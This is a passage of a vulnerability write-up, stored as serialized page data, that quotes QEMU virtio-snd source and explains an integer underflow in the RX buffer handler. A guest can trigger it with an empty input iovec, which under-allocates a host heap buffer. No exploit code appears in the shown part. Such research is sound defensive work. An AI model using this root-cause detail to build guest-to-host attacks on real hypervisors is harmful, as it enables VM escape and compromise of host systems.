machine.",{"type":24,"tag":25,"props":125570,"children":125571},{},[125572],{"type":29,"value":125573},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":24,"tag":20686,"props":125575,"children":125577},{"id":125576},"audio-data-buffers",[125578],{"type":29,"value":125579},"Audio Data Buffers",{"type":24,"tag":25,"props":125581,"children":125582},{},[125583],{"type":29,"value":125584},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":24,"tag":25,"props":125586,"children":125587},{},[125588,125590,125596],{"type":29,"value":125589},"For example, the following is ",{"type":24,"tag":32,"props":125591,"children":125593},{"className":125592},[],[125594],{"type":29,"value":125595},"virtio_snd_handle_rx_xfer",{"type":29,"value":125597},", which is responsible for allocating buffers for an input audio stream:",{"type":24,"tag":80,"props":125599,"children":125601},{"code":125600,"language":3030,"meta":7,"className":3028,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[125602],{"type":24,"tag":32,"props":125603,"children":125604},{"__ignoreMap":7},[125605,125612,125620,125628,125635,125643,125651,125659,125707,125714,125731,125738,125745,125757,125774,125781,125817,125837,125848,125855,125862,125870,125877,125910,125969,125987,126026,126051,126075,126103,126130,126168,126175,126187,126194,126201],{"type":24,"tag":90,"props":125606,"children":125607},{"class":92,"line":93},[125608],{"type":24,"tag":90,"props":125609,"children":125610},{"style":252},[125611],{"type":29,"value":51189},{"type":24,"tag":90,"props":125613,"children":125614},{"class":92,"line":200},[125615],{"type":24,"tag":90,"props":125616,"children":125617},{"style":252},[125618],{"type":29,"value":125619}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":24,"tag":90,"props":125621,"children":125622},{"class":92,"line":239},[125623],{"type":24,"tag":90,"props":125624,"children":125625},{"style":252},[125626],{"type":29,"value":125627}," * respective streams for consumption.\n",{"type":24,"tag":90,"props":125629,"children":125630},{"class":92,"line":248},[125631],{"type":24,"tag":90,"props":125632,"children":125633},{"style":252},[125634],{"type":29,"value":21283},{"type":24,"tag":90,"props":125636,"children":125637},{"class":92,"line":258},[125638],{"type":24,"tag":90,"props":125639,"children":125640},{"style":252},[125641],{"type":29,"value":125642}," * @vdev: VirtIOSound device\n",{"type":24,"tag":90,"props":125644,"children":125645},{"class":92,"line":272},[125646],{"type":24,"tag":90,"props":125647,"children":125648},{"style":252},[125649],{"type":29,"value":125650}," * @vq: rx virtqueue\n",{"type":24,"tag":90,"props":125652,"children":125653},{"class":92,"line":281},[125654],{"type":24,"tag":90,"props":125655,"children":125656},{"style":252},[125657],{"type":29,"value":125658}," */\n",{"type":24,"tag":90,"props":125660,"children":125661},{"class":92,"line":384},[125662,125666,125670,125675,125680,125684,125689,125694,125698,125703],{"type":24,"tag":90,"props":125663,"children":125664},{"style":97},[125665],{"type":29,"value":52868},{"type":24,"tag":90,"props":125667,"children":125668},{"style":97},[125669],{"type":29,"value":52873},{"type":24,"tag":90,"props":125671,"children":125672},{"style":108},[125673],{"type":29,"value":125674}," virtio_snd_handle_rx_xfer",{"type":24,"tag":90,"props":125676,"children":125677},{"style":114},[125678],{"type":29,"value":125679},"(VirtIODevice ",{"type":24,"tag":90,"props":125681,"children":125682},{"style":120},[125683],{"type":29,"value":983},{"type":24,"tag":90,"props":125685,"children":125686},{"style":136},[125687],{"type":29,"value":125688},"vdev",{"type":24,"tag":90,"props":125690,"children":125691},{"style":114},[125692],{"type":29,"value":125693},", VirtQueue ",{"type":24,"tag":90,"props":125695,"children":125696},{"style":120},[125697],{"type":29,"value":983},{"type":24,"tag":90,"props":125699,"children":125700},{"style":136},[125701],{"type":29,"value":125702},"vq",{"type":24,"tag":90,"props":125704,"children":125705},{"style":114},[125706],{"type":29,"value":1686},{"type":24,"tag":90,"props":125708,"children":125709},{"class":92,"line":420},[125710],{"type":24,"tag":90,"props":125711,"children":125712},{"style":114},[125713],{"type":29,"value":2221},{"type":24,"tag":90,"props":125715,"children":125716},{"class":92,"line":428},[125717,125722,125726],{"type":24,"tag":90,"props":125718,"children":125719},{"style":114},[125720],{"type":29,"value":125721}," VirtQueueElement ",{"type":24,"tag":90,"props":125723,"children":125724},{"style":120},[125725],{"type":29,"value":983},{"type":24,"tag":90,"props":125727,"children":125728},{"style":114},[125729],{"type":29,"value":125730},"elem;\n",{"type":24,"tag":90,"props":125732,"children":125733},{"class":92,"line":437},[125734],{"type":24,"tag":90,"props":125735,"children":125736},{"style":114},[125737],{"type":29,"value":106631},{"type":24,"tag":90,"props":125739,"children":125740},{"class":92,"line":574},[125741],{"type":24,"tag":90,"props":125742,"children":125743},{"emptyLinePlaceholder":16},[125744],{"type":29,"value":245},{"type":24,"tag":90,"props":125746,"children":125747},{"class":92,"line":606},[125748,125752],{"type":24,"tag":90,"props":125749,"children":125750},{"style":636},[125751],{"type":29,"value":5434},{"type":24,"tag":90,"props":125753,"children":125754},{"style":114},[125755],{"type":29,"value":125756}," (;;) {\n",{"type":24,"tag":90,"props":125758,"children":125759},{"class":92,"line":615},[125760,125765,125769],{"type":24,"tag":90,"props":125761,"children":125762},{"style":114},[125763],{"type":29,"value":125764}," VirtIOSoundPCMStream ",{"type":24,"tag":90,"props":125766,"children":125767},{"style":120},[125768],{"type":29,"value":983},{"type":24,"tag":90,"props":125770,"children":125771},{"style":114},[125772],{"type":29,"value":125773},"stream;\n",{"type":24,"tag":90,"props":125775,"children":125776},{"class":92,"line":623},[125777],{"type":24,"tag":90,"props":125778,"children":125779},{"emptyLinePlaceholder":16},[125780],{"type":29,"value":245},{"type":24,"tag":90,"props":125782,"children":125783},{"class":92,"line":632},[125784,125789,125793,125798,125803,125807,125812],{"type":24,"tag":90,"props":125785,"children":125786},{"style":114},[125787],{"type":29,"value":125788}," elem ",{"type":24,"tag":90,"props":125790,"children":125791},{"style":120},[125792],{"type":29,"value":5491},{"type":24,"tag":90,"props":125794,"children":125795},{"style":108},[125796],{"type":29,"value":125797}," virtqueue_pop",{"type":24,"tag":90,"props":125799,"children":125800},{"style":114},[125801],{"type":29,"value":125802},"(vq, ",{"type":24,"tag":90,"props":125804,"children":125805},{"style":97},[125806],{"type":29,"value":57152},{"type":24,"tag":90,"props":125808,"children":125809},{"style":114},[125810],{"type":29,"value":125811},"(VirtQueueElement));",{"type":24,"tag":90,"props":125813,"children":125814},{"style":252},[125815],{"type":29,"value":125816}," // [1]\n",{"type":24,"tag":90,"props":125818,"children":125819},{"class":92,"line":669},[125820,125824,125828,125832],{"type":24,"tag":90,"props":125821,"children":125822},{"style":636},[125823],{"type":29,"value":5667},{"type":24,"tag":90,"props":125825,"children":125826},{"style":114},[125827],{"type":29,"value":1151},{"type":24,"tag":90,"props":125829,"children":125830},{"style":120},[125831],{"type":29,"value":22417},{"type":24,"tag":90,"props":125833,"children":125834},{"style":114},[125835],{"type":29,"value":125836},"elem) {\n",{"type":24,"tag":90,"props":125838,"children":125839},{"class":92,"line":683},[125840,125844],{"type":24,"tag":90,"props":125841,"children":125842},{"style":636},[125843],{"type":29,"value":5692},{"type":24,"tag":90,"props":125845,"children":125846},{"style":114},[125847],{"type":29,"value":381},{"type":24,"tag":90,"props":125849,"children":125850},{"class":92,"line":737},[125851],{"type":24,"tag":90,"props":125852,"children":125853},{"style":114},[125854],{"type":29,"value":5740},{"type":24,"tag":90,"props":125856,"children":125857},{"class":92,"line":751},[125858],{"type":24,"tag":90,"props":125859,"children":125860},{"emptyLinePlaceholder":16},[125861],{"type":29,"value":245},{"type":24,"tag":90,"props":125863,"children":125864},{"class":92,"line":782},[125865],{"type":24,"tag":90,"props":125866,"children":125867},{"style":114},[125868],{"type":29,"value":125869}," [...]\n",{"type":24,"tag":90,"props":125871,"children":125872},{"class":92,"line":791},[125873],{"type":24,"tag":90,"props":125874,"children":125875},{"emptyLinePlaceholder":16},[125876],{"type":29,"value":245},{"type":24,"tag":90,"props":125878,"children":125879},{"class":92,"line":799},[125880,125885,125889,125893,125897,125901,125906],{"type":24,"tag":90,"props":125881,"children":125882},{"style":108},[125883],{"type":29,"value":125884}," WITH_QEMU_LOCK_GUARD",{"type":24,"tag":90,"props":125886,"children":125887},{"style":114},[125888],{"type":29,"value":117},{"type":24,"tag":90,"props":125890,"children":125891},{"style":120},[125892],{"type":29,"value":123},{"type":24,"tag":90,"props":125894,"children":125895},{"style":136},[125896],{"type":29,"value":38077},{"type":24,"tag":90,"props":125898,"children":125899},{"style":114},[125900],{"type":29,"value":177},{"type":24,"tag":90,"props":125902,"children":125903},{"style":136},[125904],{"type":29,"value":125905},"queue_mutex",{"type":24,"tag":90,"props":125907,"children":125908},{"style":114},[125909],{"type":29,"value":1297},{"type":24,"tag":90,"props":125911,"children":125912},{"class":92,"line":807},[125913,125918,125922,125927,125931,125935,125939,125944,125948,125952,125956,125961,125965],{"type":24,"tag":90,"props":125914,"children":125915},{"style":114},[125916],{"type":29,"value":125917}," size ",{"type":24,"tag":90,"props":125919,"children":125920},{"style":120},[125921],{"type":29,"value":5491},{"type":24,"tag":90,"props":125923,"children":125924},{"style":108},[125925],{"type":29,"value":125926}," iov_size",{"type":24,"tag":90,"props":125928,"children":125929},{"style":114},[125930],{"type":29,"value":117},{"type":24,"tag":90,"props":125932,"children":125933},{"style":136},[125934],{"type":29,"value":53888},{"type":24,"tag":90,"props":125936,"children":125937},{"style":114},[125938],{"type":29,"value":177},{"type":24,"tag":90,"props":125940,"children":125941},{"style":136},[125942],{"type":29,"value":125943},"in_sg",{"type":24,"tag":90,"props":125945,"children":125946},{"style":114},[125947],{"type":29,"value":133},{"type":24,"tag":90,"props":125949,"children":125950},{"style":136},[125951],{"type":29,"value":53888},{"type":24,"tag":90,"props":125953,"children":125954},{"style":114},[125955],{"type":29,"value":177},{"type":24,"tag":90,"props":125957,"children":125958},{"style":136},[125959],{"type":29,"value":125960},"in_num",{"type":24,"tag":90,"props":125962,"children":125963},{"style":114},[125964],{"type":29,"value":172},{"type":24,"tag":90,"props":125966,"children":125967},{"style":120},[125968],{"type":29,"value":52685},{"type":24,"tag":90,"props":125970,"children":125971},{"class":92,"line":821},[125972,125977,125982],{"type":24,"tag":90,"props":125973,"children":125974},{"style":97},[125975],{"type":29,"value":125976}," sizeof",{"type":24,"tag":90,"props":125978,"children":125979},{"style":114},[125980],{"type":29,"value":125981},"(virtio_snd_pcm_status);",{"type":24,"tag":90,"props":125983,"children":125984},{"style":252},[125985],{"type":29,"value":125986}," // [2]\n",{"type":24,"tag":90,"props":125988,"children":125989},{"class":92,"line":6278},[125990,125995,125999,126004,126008,126012,126017,126021],{"type":24,"tag":90,"props":125991,"children":125992},{"style":114},[125993],{"type":29,"value":125994}," buffer ",{"type":24,"tag":90,"props":125996,"children":125997},{"style":120},[125998],{"type":29,"value":5491},{"type":24,"tag":90,"props":126000,"children":126001},{"style":108},[126002],{"type":29,"value":126003}," g_malloc0",{"type":24,"tag":90,"props":126005,"children":126006},{"style":114},[126007],{"type":29,"value":117},{"type":24,"tag":90,"props":126009,"children":126010},{"style":97},[126011],{"type":29,"value":57152},{"type":24,"tag":90,"props":126013,"children":126014},{"style":114},[126015],{"type":29,"value":126016},"(VirtIOSoundPCMBuffer) ",{"type":24,"tag":90,"props":126018,"children":126019},{"style":120},[126020],{"type":29,"value":6767},{"type":24,"tag":90,"props":126022,"children":126023},{"style":114},[126024],{"type":29,"value":126025}," size);\n",{"type":24,"tag":90,"props":126027,"children":126028},{"class":92,"line":11420},[126029,126034,126038,126042,126046],{"type":24,"tag":90,"props":126030,"children":126031},{"style":136},[126032],{"type":29,"value":126033}," buffer",{"type":24,"tag":90,"props":126035,"children":126036},{"style":114},[126037],{"type":29,"value":177},{"type":24,"tag":90,"props":126039,"children":126040},{"style":136},[126041],{"type":29,"value":53888},{"type":24,"tag":90,"props":126043,"children":126044},{"style":120},[126045],{"type":29,"value":216},{"type":24,"tag":90,"props":126047,"children":126048},{"style":114},[126049],{"type":29,"value":126050}," elem;\n",{"type":24,"tag":90,"props":126052,"children":126053},{"class":92,"line":11438},[126054,126058,126062,126066,126070],{"type":24,"tag":90,"props":126055,"children":126056},{"style":136},[126057],{"type":29,"value":126033},{"type":24,"tag":90,"props":126059,"children":126060},{"style":114},[126061],{"type":29,"value":177},{"type":24,"tag":90,"props":126063,"children":126064},{"style":136},[126065],{"type":29,"value":125702},{"type":24,"tag":90,"props":126067,"children":126068},{"style":120},[126069],{"type":29,"value":216},{"type":24,"tag":90,"props":126071,"children":126072},{"style":114},[126073],{"type":29,"value":126074}," vq;\n",{"type":24,"tag":90,"props":126076,"children":126077},{"class":92,"line":11483},[126078,126082,126086,126091,126095,126099],{"type":24,"tag":90,"props":126079,"children":126080},{"style":136},[126081],{"type":29,"value":126033},{"type":24,"tag":90,"props":126083,"children":126084},{"style":114},[126085],{"type":29,"value":177},{"type":24,"tag":90,"props":126087,"children":126088},{"style":136},[126089],{"type":29,"value":126090},"size",{"type":24,"tag":90,"props":126092,"children":126093},{"style":120},[126094],{"type":29,"value":216},{"type":24,"tag":90,"props":126096,"children":126097},{"style":349},[126098],{"type":29,"value":5448},{"type":24,"tag":90,"props":126100,"children":126101},{"style":114},[126102],{"type":29,"value":381},{"type":24,"tag":90,"props":126104,"children":126105},{"class":92,"line":11589},[126106,126110,126114,126118,126122,126126],{"type":24,"tag":90,"props":126107,"children":126108},{"style":136},[126109],{"type":29,"value":126033},{"type":24,"tag":90,"props":126111,"children":126112},{"style":114},[126113],{"type":29,"value":177},{"type":24,"tag":90,"props":126115,"children":126116},{"style":136},[126117],{"type":29,"value":337},{"type":24,"tag":90,"props":126119,"children":126120},{"style":120},[126121],{"type":29,"value":216},{"type":24,"tag":90,"props":126123,"children":126124},{"style":349},[126125],{"type":29,"value":5448},{"type":24,"tag":90,"props":126127,"children":126128},{"style":114},[126129],{"type":29,"value":381},{"type":24,"tag":90,"props":126131,"children":126132},{"class":92,"line":25306},[126133,126138,126142,126146,126150,126154,126159,126164],{"type":24,"tag":90,"props":126134,"children":126135},{"style":108},[126136],{"type":29,"value":126137}," QSIMPLEQ_INSERT_TAIL",{"type":24,"tag":90,"props":126139,"children":126140},{"style":114},[126141],{"type":29,"value":117},{"type":24,"tag":90,"props":126143,"children":126144},{"style":120},[126145],{"type":29,"value":123},{"type":24,"tag":90,"props":126147,"children":126148},{"style":136},[126149],{"type":29,"value":38077},{"type":24,"tag":90,"props":126151,"children":126152},{"style":114},[126153],{"type":29,"value":177},{"type":24,"tag":90,"props":126155,"children":126156},{"style":136},[126157],{"type":29,"value":126158},"queue",{"type":24,"tag":90,"props":126160,"children":126161},{"style":114},[126162],{"type":29,"value":126163},", buffer, entry);",{"type":24,"tag":90,"props":126165,"children":126166},{"style":252},[126167],{"type":29,"value":54453},{"type":24,"tag":90,"props":126169,"children":126170},{"class":92,"line":25341},[126171],{"type":24,"tag":90,"props":126172,"children":126173},{"style":114},[126174],{"type":29,"value":5740},{"type":24,"tag":90,"props":126176,"children":126177},{"class":92,"line":25349},[126178,126183],{"type":24,"tag":90,"props":126179,"children":126180},{"style":636},[126181],{"type":29,"value":126182}," continue",{"type":24,"tag":90,"props":126184,"children":126185},{"style":114},[126186],{"type":29,"value":381},{"type":24,"tag":90,"props":126188,"children":126189},{"class":92,"line":25357},[126190],{"type":24,"tag":90,"props":126191,"children":126192},{"emptyLinePlaceholder":16},[126193],{"type":29,"value":245},{"type":24,"tag":90,"props":126195,"children":126196},{"class":92,"line":25366},[126197],{"type":24,"tag":90,"props":126198,"children":126199},{"style":114},[126200],{"type":29,"value":125869},{"type":24,"tag":90,"props":126202,"children":126203},{"class":92,"line":25408},[126204],{"type":24,"tag":90,"props":126205,"children":126206},{"style":114},[126207],{"type":29,"value":827},{"type":24,"tag":25,"props":126209,"children":126210},{},[126211,126213,126219,126221,126227,126229,126234,126235,126241],{"type":29,"value":126212},"At ",{"type":24,"tag":32,"props":126214,"children":126216},{"className":126215},[],[126217],{"type":29,"value":126218},"[1]",{"type":29,"value":126220},", a ",{"type":24,"tag":32,"props":126222,"children":126224},{"className":126223},[],[126225],{"type":29,"value":126226},"VirtQueueElement *elem",{"type":29,"value":126228}," is popped from the virtqueue. It contains the ",{"type":24,"tag":32,"props":126230,"children":126232},{"className":126231},[],[126233],{"type":29,"value":125943},{"type":29,"value":13360},{"type":24,"tag":32,"props":126236,"children":126238},{"className":126237},[],[126239],{"type":29,"value":126240},"out_sg",{"type":29,"value":126242}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":24,"tag":25,"props":126244,"children":126245},{},[126246,126248,126254,126256,126262,126264,126270,126272,126278,126280,126286],{"type":29,"value":126247},"Further at ",{"type":24,"tag":32,"props":126249,"children":126251},{"className":126250},[],[126252],{"type":29,"value":126253},"[2]",{"type":29,"value":126255},", the device computes the size of the data buffer as ",{"type":24,"tag":32,"props":126257,"children":126259},{"className":126258},[],[126260],{"type":29,"value":126261},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":29,"value":126263},". That value is then used in the allocation: ",{"type":24,"tag":32,"props":126265,"children":126267},{"className":126266},[],[126268],{"type":29,"value":126269},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":29,"value":126271},". Finally, at ",{"type":24,"tag":32,"props":126273,"children":126275},{"className":126274},[],[126276],{"type":29,"value":126277},"[3]",{"type":29,"value":126279},", the newly allocated buffer is appended to the ",{"type":24,"tag":32,"props":126281,"children":126283},{"className":126282},[],[126284],{"type":29,"value":126285},"stream->queue",{"type":29,"value":126287}," linked list.",{"type":24,"tag":25,"props":126289,"children":126290},{},[126291,126293,126298,126300,126305,126307,126312,126314,126320],{"type":29,"value":126292},"Because both the ",{"type":24,"tag":32,"props":126294,"children":126296},{"className":126295},[],[126297],{"type":29,"value":125943},{"type":29,"value":126299}," iovec and the ",{"type":24,"tag":32,"props":126301,"children":126303},{"className":126302},[],[126304],{"type":29,"value":125960},{"type":29,"value":126306}," field are guest-controlled, and there is no check that the total ",{"type":24,"tag":32,"props":126308,"children":126310},{"className":126309},[],[126311],{"type":29,"value":125943},{"type":29,"value":126313}," size is at least ",{"type":24,"tag":32,"props":126315,"children":126317},{"className":126316},[],[126318],{"type":29,"value":126319},"sizeof(virtio_snd_pcm_status)",{"type":29,"value":126321},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":24,"tag":25,"props":126323,"children":126324},{},[126325,126327,126332,126334,126340,126342,126348,126350,126356],{"type":29,"value":126326},"From the guest driver, we can provide an empty ",{"type":24,"tag":32,"props":126328,"children":126330},{"className":126329},[],[126331],{"type":29,"value":125943},{"type":29,"value":126333}," iovec. In that case, the calculation becomes ",{"type":24,"tag":32,"props":126335,"children":126337},{"className":126336},[],[126338],{"type":29,"value":126339},"0 - sizeof(virtio_snd_pcm_status)",{"type":29,"value":126341},", so the allocation size effectively becomes ",{"type":24,"tag":32,"props":126343,"children":126345},{"className":126344},[],[126346],{"type":29,"value":126347},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":29,"value":126349},". Given the definition of ",{"type":24,"tag":32,"props":126351,"children":126353},{"className":126352},[],[126354],{"type":29,"value":126355},"VirtIOSoundPCMBuffer",{"type":29,"value":78},{"type":24,"tag":80,"props":126358,"children":126360},{"code":126359,"language":3030,"meta":7,"className":3028,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[126361],{"type":24,"tag":32,"props":126362,"children":126363},{"__ignoreMap":7},[126364,126376,126389,126404,126421,126433,126445,126453,126465,126485],{"type":24,"tag":90,"props":126365,"children":126366},{"class":92,"line":93},[126367,126371],{"type":24,"tag":90,"props":126368,"children":126369},{"style":97},[126370],{"type":29,"value":3050},{"type":24,"tag":90,"props":126372,"children":126373},{"style":114},[126374],{"type":29,"value":126375}," VirtIOSoundPCMBuffer {\n",{"type":24,"tag":90,"props":126377,"children":126378},{"class":92,"line":200},[126379,126384],{"type":24,"tag":90,"props":126380,"children":126381},{"style":108},[126382],{"type":29,"value":126383}," QSIMPLEQ_ENTRY",{"type":24,"tag":90,"props":126385,"children":126386},{"style":114},[126387],{"type":29,"value":126388},"(VirtIOSoundPCMBuffer) entry;\n",{"type":24,"tag":90,"props":126390,"children":126391},{"class":92,"line":239},[126392,126396,126400],{"type":24,"tag":90,"props":126393,"children":126394},{"style":114},[126395],{"type":29,"value":125721},{"type":24,"tag":90,"props":126397,"children":126398},{"style":120},[126399],{"type":29,"value":983},{"type":24,"tag":90,"props":126401,"children":126402},{"style":114},[126403],{"type":29,"value":125730},{"type":24,"tag":90,"props":126405,"children":126406},{"class":92,"line":248},[126407,126412,126416],{"type":24,"tag":90,"props":126408,"children":126409},{"style":114},[126410],{"type":29,"value":126411}," VirtQueue ",{"type":24,"tag":90,"props":126413,"children":126414},{"style":120},[126415],{"type":29,"value":983},{"type":24,"tag":90,"props":126417,"children":126418},{"style":114},[126419],{"type":29,"value":126420},"vq;\n",{"type":24,"tag":90,"props":126422,"children":126423},{"class":92,"line":258},[126424,126428],{"type":24,"tag":90,"props":126425,"children":126426},{"style":97},[126427],{"type":29,"value":3080},{"type":24,"tag":90,"props":126429,"children":126430},{"style":114},[126431],{"type":29,"value":126432}," size;\n",{"type":24,"tag":90,"props":126434,"children":126435},{"class":92,"line":272},[126436,126440],{"type":24,"tag":90,"props":126437,"children":126438},{"style":97},[126439],{"type":29,"value":57437},{"type":24,"tag":90,"props":126441,"children":126442},{"style":114},[126443],{"type":29,"value":126444}," offset;\n",{"type":24,"tag":90,"props":126446,"children":126447},{"class":92,"line":281},[126448],{"type":24,"tag":90,"props":126449,"children":126450},{"style":252},[126451],{"type":29,"value":126452}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":24,"tag":90,"props":126454,"children":126455},{"class":92,"line":384},[126456,126460],{"type":24,"tag":90,"props":126457,"children":126458},{"style":97},[126459],{"type":29,"value":48295},{"type":24,"tag":90,"props":126461,"children":126462},{"style":114},[126463],{"type":29,"value":126464}," populated;\n",{"type":24,"tag":90,"props":126466,"children":126467},{"class":92,"line":420},[126468,126472,126476,126481],{"type":24,"tag":90,"props":126469,"children":126470},{"style":97},[126471],{"type":29,"value":60282},{"type":24,"tag":90,"props":126473,"children":126474},{"style":114},[126475],{"type":29,"value":1604},{"type":24,"tag":90,"props":126477,"children":126478},{"style":97},[126479],{"type":29,"value":126480},"[]",{"type":24,"tag":90,"props":126482,"children":126483},{"style":114},[126484],{"type":29,"value":381},{"type":24,"tag":90,"props":126486,"children":126487},{"class":92,"line":428},[126488],{"type":24,"tag":90,"props":126489,"children":126490},{"style":114},[126491],{"type":29,"value":3093},{"type":24,"tag":25,"props":126493,"children":126494},{},[126495,126497,126503,126505,126510,126512,126517,126519,126524,126526,126531,126533,126539],{"type":29,"value":126496},"That under-allocation removes the ",{"type":24,"tag":32,"props":126498,"children":126500},{"className":126499},[],[126501],{"type":29,"value":126502},"populated",{"type":29,"value":126504}," field along with the variable-sized ",{"type":24,"tag":32,"props":126506,"children":126508},{"className":126507},[],[126509],{"type":29,"value":481},{"type":29,"value":126511}," array. As the comment says, ",{"type":24,"tag":32,"props":126513,"children":126515},{"className":126514},[],[126516],{"type":29,"value":126502},{"type":29,"value":126518}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":24,"tag":32,"props":126520,"children":126522},{"className":126521},[],[126523],{"type":29,"value":534},{"type":29,"value":126525},", the device believes data should be ",{"type":24,"tag":32,"props":126527,"children":126529},{"className":126528},[],[126530],{"type":29,"value":534},{"type":29,"value":126532}," byte, while the actual allocation is ",{"type":24,"tag":32,"props":126534,"children":126536},{"className":126535},[],[126537],{"type":29,"value":126538},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":29,"value":226},{"type":24,"tag":20686,"props":126541,"children":126543},{"id":126542},"populating-data-buffers",[126544],{"type":29,"value":126545},"Populating Data Buffers",{"type":24,"tag":25,"props":126547,"children":126548},{},[126549],{"type":29,"value":126550},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":24,"tag":80,"props":126552,"children":126554},{"code":126553,"language":3030,"meta":7,"className":3028,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n VirtIOSoundPCMStream *stream = data;\n VirtIOSoundPCMBuffer *buffer;\n size_t size, max_size;\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n [...]\n\n max_size = iov_size( // [1]\n buffer->elem->in_sg,\n buffer->elem->in_num\n );\n for (;;) {\n if (buffer->size >= max_size) { // [2]\n return_rx_buffer(stream, buffer);\n break;\n }\n size = AUD_read(stream->voice.in,\n buffer->data + buffer->size,\n MIN(available, (stream->params.period_bytes - // [3]\n buffer->size)));\n if (!size) {\n available = 0;\n break;\n }\n buffer->size += size;\n available -= size;\n [...]\n }\n }\n }\n}\n",[126555],{"type":24,"tag":32,"props":126556,"children":126557},{"__ignoreMap":7},[126558,126565,126573,126580,126588,126596,126603,126652,126659,126685,126702,126714,126721,126753,126798,126838,126845,126853,126860,126885,126913,126937,126945,126957,126995,127008,127020,127027,127073,127110,127153,127174,127194,127214,127225,127232,127255,127271,127279,127286,127293,127300],{"type":24,"tag":90,"props":126559,"children":126560},{"class":92,"line":93},[126561],{"type":24,"tag":90,"props":126562,"children":126563},{"style":252},[126564],{"type":29,"value":51189},{"type":24,"tag":90,"props":126566,"children":126567},{"class":92,"line":200},[126568],{"type":24,"tag":90,"props":126569,"children":126570},{"style":252},[126571],{"type":29,"value":126572}," * AUD_* input callback.\n",{"type":24,"tag":90,"props":126574,"children":126575},{"class":92,"line":239},[126576],{"type":24,"tag":90,"props":126577,"children":126578},{"style":252},[126579],{"type":29,"value":21283},{"type":24,"tag":90,"props":126581,"children":126582},{"class":92,"line":248},[126583],{"type":24,"tag":90,"props":126584,"children":126585},{"style":252},[126586],{"type":29,"value":126587}," * @data: VirtIOSoundPCMStream stream\n",{"type":24,"tag":90,"props":126589,"children":126590},{"class":92,"line":258},[126591],{"type":24,"tag":90,"props":126592,"children":126593},{"style":252},[126594],{"type":29,"value":126595}," * @available: number of bytes that can be read with AUD_read()\n",{"type":24,"tag":90,"props":126597,"children":126598},{"class":92,"line":272},[126599],{"type":24,"tag":90,"props":126600,"children":126601},{"style":252},[126602],{"type":29,"value":125658},{"type":24,"tag":90,"props":126604,"children":126605},{"class":92,"line":281},[126606,126610,126614,126619,126623,126627,126631,126635,126639,126643,126648],{"type":24,"tag":90,"props":126607,"children":126608},{"style":97},[126609],{"type":29,"value":52868},{"type":24,"tag":90,"props":126611,"children":126612},{"style":97},[126613],{"type":29,"value":52873},{"type":24,"tag":90,"props":126615,"children":126616},{"style":108},[126617],{"type":29,"value":126618}," virtio_snd_pcm_in_cb",{"type":24,"tag":90,"props":126620,"children":126621},{"style":114},[126622],{"type":29,"value":117},{"type":24,"tag":90,"props":126624,"children":126625},{"style":97},[126626],{"type":29,"value":53451},{"type":24,"tag":90,"props":126628,"children":126629},{"style":120},[126630],{"type":29,"value":366},{"type":24,"tag":90,"props":126632,"children":126633},{"style":136},[126634],{"type":29,"value":481},{"type":24,"tag":90,"props":126636,"children":126637},{"style":114},[126638],{"type":29,"value":133},{"type":24,"tag":90,"props":126640,"children":126641},{"style":97},[126642],{"type":29,"value":20841},{"type":24,"tag":90,"props":126644,"children":126645},{"style":136},[126646],{"type":29,"value":126647}," available",{"type":24,"tag":90,"props":126649,"children":126650},{"style":114},[126651],{"type":29,"value":1686},{"type":24,"tag":90,"props":126653,"children":126654},{"class":92,"line":384},[126655],{"type":24,"tag":90,"props":126656,"children":126657},{"style":114},[126658],{"type":29,"value":2221},{"type":24,"tag":90,"props":126660,"children":126661},{"class":92,"line":420},[126662,126667,126671,126676,126680],{"type":24,"tag":90,"props":126663,"children":126664},{"style":114},[126665],{"type":29,"value":126666}," VirtIOSoundPCMStream ",{"type":24,"tag":90,"props":126668,"children":126669},{"style":120},[126670],{"type":29,"value":983},{"type":24,"tag":90,"props":126672,"children":126673},{"style":114},[126674],{"type":29,"value":126675},"stream ",{"type":24,"tag":90,"props":126677,"children":126678},{"style":120},[126679],{"type":29,"value":5491},{"type":24,"tag":90,"props":126681,"children":126682},{"style":114},[126683],{"type":29,"value":126684}," 